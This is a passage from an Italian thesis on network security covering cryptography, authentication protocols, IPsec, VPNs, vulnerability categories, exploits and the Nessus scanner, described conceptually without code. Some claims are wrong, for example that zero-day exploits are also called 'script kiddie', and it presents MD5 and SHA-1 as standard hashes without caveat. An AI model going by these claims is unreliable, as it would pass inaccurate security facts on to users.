I vantaggi dell’utilizzo di tale metodo sono la velocità di funzionamento,dato che gli algoritmi per cifrare e decifrare sono molto veloci, di conse-guenza permettono l’utilizzo di chiavi molto lunghe, comportando unamaggiore sicurezza, e riguardo l’autenticità, l’integrità e la riservatezza,ipotizzando che il gruppo di persone che possiedono la chiave sia quellovoluto, possiamo affermare che siano strettamente soddisfatte.Gli svantaggi dell’utilizzo di tale metodo sono inerenti alla semplicità delleoperazioni utilizzate dagli algoritmi simmetrici, che diventano possibilisempre in minor tempo, dato l’aumento dei tassi di velocità dei processoridegli elaboratori e dall’utilizzo di una chiave identica sia per il mittente che

Page 31: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 25

per i destinatari, questo comporta, nel caso il destinatario non disponessedella chiave, al problema di fornirgliela mediante un canale sicuro e nelcaso il destinatario avesse già tale chiave, ai problemi legati all’affidabilitàdi esso, cioè la possibilità che la chiave venga persa o data ad altri nonautorizzati.Tra i vari algoritmi a chiave privata o segreta, quello che ha ottenutomaggiore sviluppo e successo è stato il DES(Data Encryption Standard)

– Crittografia asimmetrica: metodo con algoritmi la cui chiave di crip-tazione è diversa da quella di decrittazione: cosi facendo è possibiledistribuire la chiave di decrittazione (chiave pubblica) e mantenere segretala chiave di criptazione (chiave privata).I concetti su cui si basa è che un messaggio criptato con una chiave può es-sere decrittato solo con l’altra chiave e che è matematicamente improbabilericavare una chiave dall’altra, ovvero le chiavi devono essere indipendenti;la conoscenza di una non deve concedere nessuna informazione utile allaricostruzione dell’altra. Vi sono due modalità di funzionamento:∗ Modalità Autenticazione: solo il possessore della chiave privata può

aver cifrato il file. Ciò garantisce anche l’integrità del documento (unavolta decifrato e modificato, solo il possessore della chiave privata puòcifrarlo di nuovo) e il non ripudio da parte del firmatario, tuttavianon è garantita la riservatezza per il destinatario dato che chiunquesia in possesso della chiave pubblica può decifrare il file.

∗ Modalità Confidenziale: la confidenzialità e l’integrità del file sonogarantite dal fatto che solo il possessore della chiave privata puòdecrittare il file.

Figura 3.3: Crittografia Asimmetrica

I vantaggi della crittografia asimmetrica, risolvono i problemi tipici dellacrittografia a chiave simmetrica, ad esempio lo scambio delle chiavi non

Page 32: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 26

è più critico, anzi dato che le chiavi sono da considerarsi pubbliche nonesiste più alcun problema in merito, inoltre il problema dell’autenticitàdel mittente viene risolto, in quanto solo il titolare di quella chiave pri-vata potrà aver generato il messaggio corrispondente alla relativa chiavepubblica. Si risolve il problema della riservatezza, poiché l’algoritmo èsimmetrico dal punto di vista delle chiavi (ciò che viene criptato con lachiave privata va decrittato con quella pubblica, ma anche viceversa) èsufficiente criptare un messaggio con la chiave pubblica affinché solo iltitolare della corrispondente chiave privata possa leggerlo.Lo svantaggio principale della crittografia asimmetrica consiste nel fattoche gli algoritmi utilizzati svolgano numerosi e complessi calcoli renden-do la loro implementazione poco efficiente, soprattutto quando occorregarantire una lunghezza minima della chiave superiore ai 1024 bit.

– Crittografia quantistica: consiste in un approccio alla crittografia cheutilizza peculiari proprietà della meccanica quantistica nella fase delloscambio della chiave per evitare che questa possa essere intercettata da unattaccante senza che le due parti in gioco se ne accorgano. Si utilizza questoprincipio per realizzare un cifrario perfetto del tipo One Time Pad(lachiave di cifratura è lunga quanto il testo e non riutilizzabile), senza ilproblema di dover scambiare la chiave (anche se lunga quanto il messaggio)necessariamente su un canale sicuro. Questo perché se attraverso il canalepassassero microparticelle e un potenziale nemico cercasse di intercettarledovrebbe compiere un’osservazione e quindi modificherebbe lo stato dellacomunicazione, facendosi scoprire.

La crittografia ha diverse applicazioni, le principali sono:

– Message Digest: il Message Digest (MD) e’ una sequenza di bit dilunghezza limitata e fissa associata ad un messaggio (P) del quale nerappresenta la firma (o impronta), si ottiene mediante una funzione crit-tografica di hash, che è un algoritmo matematico che trasforma dei datidi lunghezza arbitraria (messaggio) in una stringa binaria di dimensionefissa. Inoltre tale funzione non è invertibile, ovvero non e’ possibile risalireal messaggio originale avendo come unico elemento il MD. Se il massaggiocambia anche di un solo bit il MD diventa completamente diverso.L’algoritmo deve essere “Collision Free” , ovvero deve evitare (o minimiz-zare) la possibilità che 2 messaggi generino lo stesso MD. Per questo ilMD non può essere troppo breve. Le principali applicazioni sono:

∗ Verificare l’integrità di messaggi o file: il messaggio P viene speditoassieme al MD; chi li riceve ricalcola i MD e lo compara con quelloricevuto, se corrisponde allora il messaggio è quello corrispondente alMD spedito.

∗ Verifica della password: viene memorizzato il MD della password inchiaro e per verificare che la password inviata sia quella corrispondente,bisogna confrontare l’MD memorizzato in chiaro con l’MD ricavatocalcolando la funzione di hash con la password ricevuta.

Page 33: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 27

Le funzioni crittografiche di hash comunemente utilizzate in diversi stan-dard e applicativi sono MD5 e SHA-1.

– Certificati: è un documento elettronico che attesta l’associazione uni-voca tra una chiave pubblica e l’identità di un soggetto (una persona,una società, un computer, ...) che dichiara di utilizzarla nell’ambito delleprocedure di cifratura asimmetrica e autenticazione tramite firma digitale.Il certificato è fornito da un ente terzo fidato e riconosciuto come au-torità di certificazione (CA), è a sua volta autenticato per evitarne lafalsificazione sempre attraverso firma digitale ovvero cifrato con la chiaveprivata dell’associazione la quale fornisce poi la rispettiva chiave pubblicaassociata per verificarlo.I certificati risolvono l’impraticabilità dello scambio di chiavi pubblicheutilizzate per la crittografia tra gli utenti, garantendo che una chiavepubblica sia associata alla vera identità del soggetto che la rivendicacome propria. X.509 è lo standard Internazionale emanato da ITU peril formato dei Certificati. Questo standard stabilisce quali informazionipossono comporre un certificato, i principali campi sono:∗ Version: numero della versione di X.509 (v1, v2 o v3).∗ Serial Number: numero univoco di emissione da parte della CA.∗ Signature Algorithm: algoritmo usato per firmare il certificato.∗ Issuer: Distinguished Name DN della CA che ha emesso il certificato.∗ Validity: inizio e fine del periodo di Validità.∗ Subject: Distinguished Name DN del proprietario del Certificato.∗ Subject Public Key Info : chiave pubblica (Modulo + Esponente) e

algoritmo utilizzato.∗ X509v3 Extensions: estensioni opzionali (solo v3).∗ Signature: firma da parte della CA (MD del Certificato, cifrato con

la chiave privata della CA).

Figura 3.4: Certificato X.509

La CA è un ente che firma le richieste di certificato da parte di unacomunità di utenti/host/software garantendone l’identità. La CA possiedeuna propria coppia di chiavi e autofirma la propria richiesta (self-signed).Per identificare univocamente i certificati esiste un name-space gerarchicodi certificati, in cui ogni nodo ha un attributo e un valore.I certificati X.509 possono essere rappresentati in diversi possibili formati,i principali sono:∗ DER: formato binario utilizzato in ambiente Windows e Java con

estensioni .DER o .CER.

Page 34: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 28

∗ PEM: formato testuale (base64) ed e’ utilizzato prevalentemente inambiente Unix. Può contenere certificati, richieste di certificati, chiaviprivate e PKCS12.

∗ PKCS (Public Key Cryptography Standards): e’ un gruppo si Stan-dard creati da “RSA Data Security” con lo scopo di creare formati diinteroperabilità.

• Protocolli di Autenticazione: l’autenticazione è un servizio di sicurezzache consente di accertare l’identità dichiarata da una entità (origine dei datio peer in una comunicazione), mediate la verifica di credenziali. Le tecnichepossono basarsi sulla conoscenza di un segreto (password, PIN, ..), tecnichecrittografiche o caratteristiche biometriche (se si tratta di una persona). Leprincipali tecniche di autenticazione sono:

– Autenticazione tramite password: è un protocollo largamente utiliz-zato perché facile da implementare e da usare. E’ insicuro specialmentequando la password non viene modificata regolarmente, è individuabilecon attacco a dizionario, viene trasmessa in chiaro. I principali protocollidi autenticazione significativi basati su password:

∗ PAP (Password Authentication Protocol): è usato esclusivamente dalprotocollo PPP e presume che il canale sia sicuro (non intercettabile);Le fasi sono:1. Il client manda al server il proprio nome e la password.2. Il server cerca in una tabella il nome utente e verifica la correttezza

della password applicando una funzione di trasformazione (checonsente di evitare che il server memorizzi la password in chiaro).

Figura 3.5: Autenticazione tramite password: PAP

∗ CHAP (Challenge Handshake Authentication Protocol): è usato inPPP e Windows; Le fasi sono:1. Il server invia un numero casuale, in figura 3.6 corrisponde a "c"

(challenge) utilizzato dal client come salt.2. La funzione di trasformazione, in figura 3.6 corrisponde ad "r", è

calcolata sia dal server che dal client.

Page 35: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 29

Figura 3.6: Autenticazione tramite password: CHAP

Il vantaggio è che la password non viene scambiata tra client e server,ma il problema è che il DB delle password deve essere salvato inchiaro, quindi vulnerabile ad attacco.

∗ OTP (One-Time Password): simile a CHAP, l’unica differenza è che"c" non è più un numero casuale, ma diventa un numero progressivo.Una OTP non può essere memorizzata da una persona, quindi richiedeuna tecnologia supplementare per poter essere utilizzata.L’algoritmo OTP principale è TOTP(Time based OTP), le passwordsono generate con un algoritmo funzione di una chiave segreta e iltempo corrente.

– Autenticazione con challenge e chiave simmetrica: le fasi sono:

1. Il client e il server , che condividono una chiave simmetrica S, creanoun numero casuale, detto Challenge (c1 e c2).

2. Il server invia la propria identità (B) e il proprio Challenge (c1).3. Il client risponde inviando la propria identità (A) e la cifratura di c1,

c2 e B.4. Il server chiude il protocollo inviando la cifratura di c1, c2 e A.

Figura 3.7: Autenticazione con challenge e chiave simmetrica

Il vantaggio è che i messaggi cifrati non sono esposti ad attacco al dizionario,ma il problema è che se abbiamo N nodi ogni nodo deve conoscere N-1chiavi.

Page 36: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 30

– Autenticazione con KDC: il modello del “Centro di Distribuzione delleChiavi” (KDC, Key Distribution Center) si applica ad una comunità di Nentità (persone/host/servizi) che devono autenticarsi reciprocamente. Inquesto schema ogni utente ha una singola chiave condivisa con il KDC.Le fasi, quando A deve comunicare con B, sono:

1. A condivide con KDC la chiave Ka, B condivide con KDC la chiaveKb.

2. A sceglie una chiave di sessione Ks, invia a KDC la chiave e B, inmodo cifrato.

3. KDC decifra Ks e la invia a B.

Il vantaggio è che basta la singola chiave Ka per comunicare con N entità,ma il problemi è che A deve inserire la chiave Ka per ogni connessione.

– Autenticazione Kerberos: Kerberos e’ un protocollo di Autenticazione(progettato al MIT) che implementa il modello del “Centro di Distribuzionedelle Chiavi”. Un sistema Kerberos gestisce una comunità di utenti(REALM) in cui ogni utente ha una singola chiave condivisa Ka con ilKDC, ma il KDC si compone del AS (Authentication Server) che gestisceil LOGIN e del TGS (Ticket Granting Server) che gestisce la sessione.La password di A (Ka) viene usata una sola volta per tutte le autenticazionidella sessione (Single Sign On - SSO) e rimane sul computer del client soloper pochi millisecondi. La chiave di sessione che A presenta a B serve soloa dimostrare l’identità di A (autenticazione). B deciderà cosa consentiredi fare ad A (autorizzazione).Le fasi sono:

1. A chiede all’AS la chiave di sessione Ks (Login sul REALM). (Freccerosse in figura 3.8).

2. A deve comunicare con B, quindi chiede al TGS un Ticket Kab dausare con B. (Frecce Gialle in figura 3.8).

3. A si rivolge a B comunicandogli la chiave di sessione Kab. (Frecceverdi in figura 3.8).

Page 37: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 31

Figura 3.8: Autenticazione Kerberos

– Autenticazione con PKI (Public Key Infrastructure): è un insieme diprocessi e mezzi tecnologici che consentono a terze parti fidate di verificareo farsi garanti dell’identità di un utente, oltre che di associare una chiavepubblica a un utente, normalmente per mezzo di software distribuito inmodo coordinato su diversi sistemi. L’utilizzo di una PKI (Public KeyInfrastructure) ha il vantaggio di non richiedere preventivamente chiavicondivise. Le fasi per la comunicazione, considerando che i nodi A e Bhanno una coppia di chiavi(pubblica e privata) sono:

1. A invia la propria Identità e un Challenge Ra a B, cifrati con la chiavepubblica di B.

2. B decifra il messaggio, sceglie una chiave di sessione Ks e la invia adA.

3. A risponde con il Challenge di B cifrato con la chiave di sessione Ks.

Questo protocollo garantisce, come servizi di sicurezza, la confidenzialità,dato che la chiave di sessione Ks è condivisa e l’autenticazione, dato chegli host hanno verificato l’identità reciproca.

• Sicurezza nelle comunicazioni: la cifratura di una comunicazione puòavvenire a diversi livelli:

– Applicazione: alcune applicazioni cifrate si appoggiano sull’applicazionein chiaro. Il payload viene cifrato e quindi veicolato da applicativo noncifrato.

– Sessione: il protocollo SSL/TLS fornisce un Layer intermedio tra TCPe applicazione che consente di cifrare le applicazioni. Questo richiede lariscrittura delle applicazioni che devono interfacciarsi al Layer SSL anzichéTCP.

Page 38: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 32

– Rete: IPsec e’ un Layer di cifratura che viene posizionato a livello rete,rendendo la cifratura trasparente al livello delle applicazioni, che nondevono essere modificate. Anche se funziona a livello rete, è orientatoalla connessione, a causa della cifratura con chiave, ne consegue che lecomunicazioni UDP attraverso IPsec sono poco efficienti per l’ OverHeadelevato.Una “connessione” IPsec chiamata SA (Security Association), e’ unaconnessione Simplex e ha un identificatore di sicurezza associato. Per unaconnessione Duplex è necessario attivare un SA per ciascuna direzione.L’Identificatore, scritto in ogni pacchetto, consente al ricevente individuarela SA e quindi di reperire la chiave di decifratura.IPsec, analogamente a SSL, è formato da:Un protocollo per lo scambio delle chiavi necessarie per la cifratura delcanale:

∗ IKE (Internet Key Exchange): è utilizzato per stabilire una SA, è alivello applicazione e usa UDP come trasporto sulla porta 500.L’obiettivo e’ stabilire una Shared Session Secret da cui poi derivare lachiave per cifrare la SA. Viene utilizzato l’algoritmo di Diffie-Hellman.

Due protocolli alternativi per la cifratura dei dati sul canale:

∗ AH (Authentication Header): gestisce integrità, ma non confiden-zialità, dato che non ha la cifratura. Il protocollo determina unaintestazione di 24 Byte che contiene l’HMAC del Datagramma IP(Header+payload) e può essere inserita nelle estensioni dei protocolliIPv4 e IPv6 (Transport Mode) o nell’estensione di un nuova intesta-zione IP che come payload incapsula il pacchetto IP originale (TunnelMode).

∗ ESP (Encapsultating Security Payload): rispetto a AH, aggiungela confidenzialità poiché il payload viene cifrato. Il campo HMAC(diversamente da AH) non copre l’Header IP ed è accodato al payloadcifrato, cosi può essere calcolato mentre il pacchetto sta uscendo.La cifratura avviene in modalità Transport, cioè viene cifrata la tramadi trasporto (TCP Header + Payload) o in modalità Tunnel, che vienecifrato il pacchetto IP (old IP header+TCP header+payload).

Figura 3.9: Sicurezza nelle comunicazioni

Page 39: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 33

• VPN(Virtual Private Network): è una rete di telecomunicazioni privata, instau-rata tra soggetti che utilizzano, come infrastruttura di trasporto, un sistema ditrasmissione pubblico e condiviso, come ad esempio la rete Internet. Lo scopodelle reti VPN è quello di offrire alle aziende, a un costo inferiore, le stessepossibilità delle linee private in affitto, ma sfruttando reti condivise pubbliche.Una VPN è come l’estensione, a scala geografica, di una rete locale privataaziendale che colleghi tra loro siti interni all’azienda stessa variamente dislocatisu un ampio territorio, sfruttando l’instradamento tramite IP per il trasporto suscala geografica e realizzando di fatto una rete LAN, detta appunto "virtuale"e "privata", logicamente del tutto equivalente a un’infrastruttura fisica di rete.I protocolli più utilizzati per realizzare i tunnel cifrati della VPN sono: IPseccon ESP in tunnel mode e SSL/TLS

Page 40: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Capitolo 4

Vulnerabilità

Nel presente capitolo verrà affrontato l’argomento centrale di questa tesi, levulnerabilità. Illustrando e dettagliando cosa sono, quando si presentano, cosacomporta la loro presenza, come si possono rilevare e come funzionano i software perla rilevazione di vulnerabilità.

4.1 Vulnerabilità ed Exploit

In questa sezione vedremo cosa sono le vulnerabilità e gli esploit, cercando didefinirli, categorizzarli e spiegarne l’ambito in cui possiamo trovarli.

4.1.1 Vulnerabilità

Secondo la terminologia CVE del MITRE, società statunitense senza fini dilucro, che svolge ricerca e crea soluzioni in particolare nel campo della sicurezzainformatica per gli Stati Uniti d’America, si definisco le vulnerabilità come uno statodegli elaboratori in cui si permette ad un attaccante di:

• eseguire comandi come un altro utente;

• accedere a dati ai quali esso non è autorizzato;

• assumere un identità altrui;

• condurre un denial of service.

Quindi le vulnerabilità di un sistema informatico consistono nelle sue, varie edeventuali, falle di sicurezza, che il sistema può presentare, sotto diverse forme. Questefalle di sicurezza possono essere sfruttati dagli exploit per poi condurre attacchiinformatici, definiamo un exploit come un frammento di codice, una sequenzadi comandi, o un insieme di dati, che prendono vantaggio da un bug o da unavulnerabilità per acquisire privilegi di accesso, eseguire codice o creare DoS su di unarisorsa.L’informatizzazione della società e quindi maggiori necessità informatiche, hannocomportato ad un aumento dei prodotti e di conseguenza delle vulnerabilità, comesi può osservare dalla figura 4.1 dove vengono mostrate il numero di vulnerabilità,suddivisione per anno, rilevate in internet dal 1999 al 2016.

34

Page 41: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 35

Figura 4.1: Vulnerabilità per anno, dal 1999 al 2016

4.1.2 Categorie delle vulnerabilità

Le categorie delle vulnerabilità sono identificate in base al tipo di disservizio chepossono causare, elenchiamo i principali tipi di vulnerabilità:

• Denial of Service: vulnerabilità che rende una macchina o i servizi da essaofferti non disponibili, impedendone l’utilizzo ai suoi utenti.

• Arbitrary Code Execution: vulnerabilità data da un bug software chepermette all’attaccante di eseguire codice arbitrariamente sulla macchina dellavittima.

• Buffer overflow: condizione di errore che si verifica a runtime quando in unbuffer di una data dimensione vengono scritti dati di dimensioni maggiori.

• XSS(Cross-site scripting): vulnerabilità che affligge siti web dinamici cheimpiegano un insufficiente controllo dell’input nei form. Permette di inserire oeseguire codice lato client al fine di attuare un insieme variegato di attacchi(raccolta, manipolazione e reindirizzamento di informazioni riservate, ...).

• Directory Traversal: vulnerabilità che permette di accedere a file e directoryche sono memorizzate fuori dalla web root folder.

• Bypass Something: vulnerabilità data da un bug che permette di aggirare ilsistema o meccanismi di sicurezza, permettendo di ottenere l’accesso al sistemao alla rete.

• Gain Information: vulnerabilità che permettono all’attaccante di ottenereinformazioni sulla macchina o servizi della vittima.

• Gain Privilege (Privilege escalation): tramite un bug, dovuto a un errore diprogrammazione o all’assenza di un controllo in un sistema operativo o in un

Page 42: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 36

applicazione software, permette di ottenere i privilegi di accesso a risorse chenormalmente non sarebbero accessibili.

• SQL Injection : vulnerabilità data dall’inefficienza dei controlli sui datiricevuti in input e permette l’inserimento di codice maligno all’interno di unaquery SQL.

• File Inclusion: vulnerabilità presente nei siti web e permette all’attaccante diincludere un file, a causa di assenza di controlli sull’input immesso dall’utente.Questo può portare ad esempio al Code Execution sul server web.

• Memory Corruption: vulnerabilità che permette la modifica di contenutiin certe locazioni di memoria, permettendo di cambiare il comportamento delprogramma o leggere valori interni.

• CSRF:(Cross-site request forgery) vulnerabilità dei siti web dinamici quandosono progettati per ricevere richieste da un client senza meccanismi per con-trollare se la richiesta è stata invitata intenzionalmente dall’utente o da unsistema automatico del browser.

• Http Response Splitting: vulnerabilità delle applicazioni web, il qualeattaccante invia request http che forzano il server web nel generare un output,il quale viene interpretato dalla vittima(un altro client) come due responsehttp invece che una(come dovrebbe essere), quindi eseguendo codice come searrivasse unicamente dall’applicazione web.

In figura 4.2 vengono mostrate il numero di vulnerabilità, suddivise per tipo,rilevate in internet dal 1999 al 2016

Figura 4.2: Vulnerabilità per tipo, dal 1999 al 2016

4.1.3 Ciclo di vita delle vulnerabilità

Una vulnerabilità attraversa diverse fasi della sua evoluzione che ne determinanola criticità e la diffusione.

Page 43: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 37

1. Creazione: durante la fase di sviluppo viene introdotto nel codice un errore.

2. Scoperta: un esperto di sicurezza scopre l’errore all’interno del codice, intuisceche questo ha una o più conseguenze negative sulla sicurezza del software o delsistema.Da questo momento si parla di vulnerabilità e non più di errore nel codice;

3. Condivisione: la conoscenza della vulnerabilità scoperta viene fatta primacircolare in ambito ristretto, poi si diffonde anche grazie allo sviluppo di toolautomatici che ne fanno uso.

4. Pubblicazione Patch/Upgrade: il produttore del sistema viene a conoscen-za della vulnerabilità, quindi corregge l’errore emettendo una patch o una nuovaversione del codice. La presenza di tale vulnerabilità, insieme alla presenzadella patch disponibile viene resa pubblica.

5. Installazione Patch/Upgrade: i sistemisti installano la patch/upgrade neisistemi per risolvere le vulnerabilità.

Tutti i sistemi sono soggetti a una finestra di esposizione, anche se gestiti almeglio. Infatti la scoperta di nuove vulnerabilità è impredicibile. Inoltre, la cono-scenza dell’individuazione delle nuove vulnerabilità circola velocemente e altrettantovelocemente la disponibilità di tool automatici atti all’utilizzo delle vulnerabilitàtrovate. Purtroppo, le patch rappresentano una soluzione spesso inefficace in quantovi è scarsa consapevolezza di molti sistemisti, la frequenza di emissione troppo elevatae spesso causa di malfunzionamenti o nuovi problemi.

Figura 4.3: Finestra temporale di una vulnerabilità

E’ interessante notare che la curva di figura 4.3 cresce rapidamente nonostante ilfatto che sfruttare alcune vulnerabilità sia complesso. Questo è dovuto principalmentea due fattori:

• Scripting: dopo le prime intrusioni, compiute da esperti, la tecnica perrealizzarle viene automatizzata (scrittura di script, descrizione delle procedure).

Page 44: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 38

• Script Kiddies: la disponibilità di exploit (tool automatici) permette di sfrut-tare con successo vulnerabilità nei sistemi anche a persone dotate di scar-se competenze tecniche, aumentando drasticamente il numero dei potenzialiattaccanti.

4.1.4 Exploit

Un exploit è un frammento di codice, una sequenza di comandi, o un insieme didati, che prendono vantaggio da un bug o da una vulnerabilità per acquisire privilegidi accesso, eseguire codice o creare DoS su di una risorsa.Ci sono diversi modi per classificare gli exploit. Il più comune è una classificazionea seconda del modo in cui l’exploit contatta l’applicazione vulnerabile, quindi sipossono distinguere in:

• Exploit remoto: compiuto attraverso la rete e sfrutta la vulnerabilità senzaprecedenti accessi al sistema.

• Exploit locale: richiede un preventivo accesso al sistema e solitamente faaumentare i privilegi dell’utente oltre a quelli impostati dall’amministratore.

Gli exploit possono anche essere classificati a seconda del tipo di vulnerabilità chesfruttano, quindi prendendo il nome della categoria dove rientra la vulnerabilità,come visto nella sezione della categorizzazione delle vulnerabilità (4.1.2).Lo scopo di molti exploit è quello di acquisire i privilegi di amministratore su unsistema, per poi poter svolgere qualsiasi azione voluta. Normalmente un exploitsfrutta solo una specifica falla, e quando viene pubblicato questa falla è riparata el’exploit diventa inutile per le nuove versioni del programma. Per questo motivoalcuni hacker non divulgano gli exploit trovati ma li tengono riservati per loro o perla loro comunità. Questi exploit sono chiamati zero day exploit, altrimenti dettiscript kiddie.Nella figura 4.4 dove è rappresentata la distribuzione degli esploit usati negli attacchi,per tipo di applicazione, nel corso dell’anno 2015, si può notare che la maggior partedegli attacchi usa exploit inerenti ai browser. Questo può dipendere, in parte dallapresenza di bug nel codice dei browser, ma principalmente dal fatto che, oltre adessere una delle applicazione sicuramente presente in un elaboratore e una delle piùutilizzate, è l’applicazione che permette all’utente di interfacciarsi direttamente suinternet, questo la rende l’applicazione più interessante su cui effettuare attacchi.

4.2 Vulnerability Assessment

Volendo valutare il livello di sicurezza di una certa configurazione di un sistema, ilprimo passo da compiere è sicuramente quello di eseguire un vulnerability assessment.Tale valutazione delle vulnerabilità consiste di un processo volto a valutare l’efficaciadei meccanismi di sicurezza e quindi alla individuazione, alla quantificazione e all’as-segnazione di priorità riguardo le eventuali vulnerabilità di un sistema. Le operazioniappena descritte hanno lo scopo, una volta trovate le falle di sicurezza, di migliorareil sistema e prevenire eventuali attacchi basati sui dati riscontrati.Questa ricerca può essere effettuata da vari strumenti, ad esempio gli scanner di

Page 45: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 39

Figura 4.4: Distribuzione degli exploit usati negli attacchi, per tipo di applicazione, 2015

vulnerabilità, che saranno spiegati in modo approfondito nella sezione 4.3.In questa attività, non si simula il malintenzionato, quindi, è necessario facilitareil più possibile l’attività di Vulnerability assessment. Ad esempio, se la rete presain considerazione ha un firewall, le varie scansioni è preferibile farle oltre il firewall.Questo perché, farle prima dell’apparato genererebbe molti falsi positivi, in quanto ilfirewall blocca le richieste.E’ importante, sottolineare che questo genere di attività, pur portando sicuramente unvalore aggiunto alla sicurezza attuale dell’infrastruttura aziendale presa in considera-zione, ha anche delle limitazioni. Questa attività soffre del problema di degradazione,ossia, nel tempo nuove vulnerabilità verranno scoperte, nuove macchine verrannoaggiunte o tolte dalla rete, nuove patch verranno installate sulle macchine, nuoviservizi verranno attivati, e dato che il Vulnerability assessment è "una fotografia"della situazione del momento, è quindi fondamentale ripeterlo ogni qual volta sianecessario verificare il livello di sicurezza del sistema, prestando attenzione che i variapparati, che si vuole analizzare, siano accesi e collegati alla rete.Dato che spesso le workstation sono multi-utente, ed ogni utente abilita servizipersonali, ovviamente durante l’attività di Vulnerability assessment essendo attivo unsolo utente, solo quest’ultimo verrà analizzato. E’ quindi fondamentale, che durantel’attività di analisi, la macchina sia loggata con l’utenza più usata, o comunquedi maggior interesse. Inoltre a volte è possibile che alcune workstation, abbianoinstallata una o più macchine virtuali, e anche quest’ultime potrebbero essere messein rete, queste macchine, se non sono attive, non saranno analizzate.

4.3 Vulnerability Scanner

Un vulnerability scanner è un programma progettato per ricercare e mappare ledebolezze di un’applicazione, di un computer o di una rete, eseguendo scansioni. Lescansioni possono essere in modo "non invasivo" o "invasivo".

Page 46: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 40

Un test invasivo tenta di sfruttare la vulnerabilità per poter verificare l’effettivapresenza di essa, rischiando di mandare in crash, o comunque di alterare, la destina-zione remota. Questa tipologia di test è in genere quella più accurata, ma ovviamentenon può essere eseguita in un ambiente di produzione.Un test non invasivo, invece cerca di non arrecare alcun rallentamento o problema albersaglio. La prova consiste di solito nel controllo della versione del servizio remoto,o nel verificare se alcune opzioni vulnerabili sono abilitate. Questa tipologia di testsi rende particolarmente adatta ad essere eseguita in un ambiente di produzione,ovviamente non può determinare per certo se un servizio installato è effettivamentevulnerabile, ma si limita a segnalare solo se può essere vulnerabile, senza compromet-tere la rete su cui è stato effettuato.

Uno scanner di vulnerabilità si differenzia da uno strumento usato per il pene-tration testing, dal modo in cui sfrutta le vulnerabilità, cioè uno scanner assicurache la vulnerabilità esiste, ma non tenta di compromettere il software vulnerabile,significando che un eventuale crash o negazione del servizio è solo un effetto collateraledi un test invasivo, non certo un obiettivo.

Una metodologia particolarmente accurata per la ricerca di vulnerabilità consistenel combinare insieme software di vulnerability scan e di penetration testing. Inizial-mente si ricercano le vulnerabilità tramite uno scanner delle vulnerabilità, e anchenel caso di scansioni "invasive", potrebbe generare falsi positivi o dati poco specifici,quindi si convalida la presenza di determinate vulnerabilità tramite software di pene-tration testing(metasploit), ottenendo dati più accurati ed un effettiva dimostrazionedell’esistenza di tale vulnerabilità.

Nelle sezioni 4.3.1 e 4.3.2 riporteremo quelli che vengono ritenuti tra i migliorivulnerability scanner.

4.3.1 Nessus

Nessus è uno strumento software che implementa un vulnerability scanning disistemi connessi ad una rete TCP/IP.

4.3.1.1 Storia

Renaud Deraison iniziò il progetto “Nessus” nel 1998 per creare un securityscanner libero e facile da utilizzare. Originariamente rilasciato come software libero,sotto licenza GNU General Public License, esso si diffuse rapidamente diventandouno standard de facto nell’ambito del security scanning. Nel 2005, Tenable NetworkSecurity, l’azienda co-fondata da Renaud Deraison, decise di abbandonare la licenzaopen source. Il motivo fu che tale modello di distribuzione favorisse troppo laconcorrenza. Nel tentativo di mantenere in vita lo sviluppo open source di questosoftware, nacquero diversi fork basati sull’ultima versione del progetto rilasciata conlicenza GNU. Tra questi il più importante è sicuramente OpenVAS, come vedremonella sezione 4.3.2.Nessus, al giorno d’oggi, non è più un software libero e la sua distribuzione avvieneattraverso due tipi di licenza: una gratuita ed una attraverso un abbonamento annuale

Page 47: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 41

(2190 dollari annui per ogni singola copia). A differenza di quella a pagamento, laversione gratuita è limitata al solo utilizzo privato e non è fornito alcun supportotecnico. Inoltre, vengono imposti dei limiti sul numero di host che possono essereanalizzati. Altri vincoli riguardano il numero di plugin disponibili, ad esempio nellaversione gratuita non sono disponibili quelli per ambiti più specifici.

4.3.1.2 Cos’è

Nessus è un software per effettuare vulnerability assessment, che tramite scansionidella rete e l’abilitazione di plugin appositamente configurabili a seconda dellatipologia di host e vulnerabilità che si andrà ad analizzare, rileva le vulnerabilitàpresenti suggerendo le possibili soluzioni e creando report di facile analisi in variformati. Nessus ha una architettura client-server, che permette l’analisi di un sistemada remoto. Esso dispone di un numero sempre crescente di plugin per testare lapresenza di vulnerabilità note. L’analisi è composta da più passi:

1. Verifica degli host attivi sulla rete, nel caso in cui non venga fornita una listadi indirizzi IP da analizzare.

2. Esecuzione di un port scanning completo per ogni host attivo.

3. Esecuzione dei plugin selezionati precedentemente dall’utente.

4. Enumerazione di un report, esportabile, che descrive nel dettaglio ogni vulnera-bilità, indicandone la criticità, l’esistenza di attacchi noti e la disponibilità diuna patch.

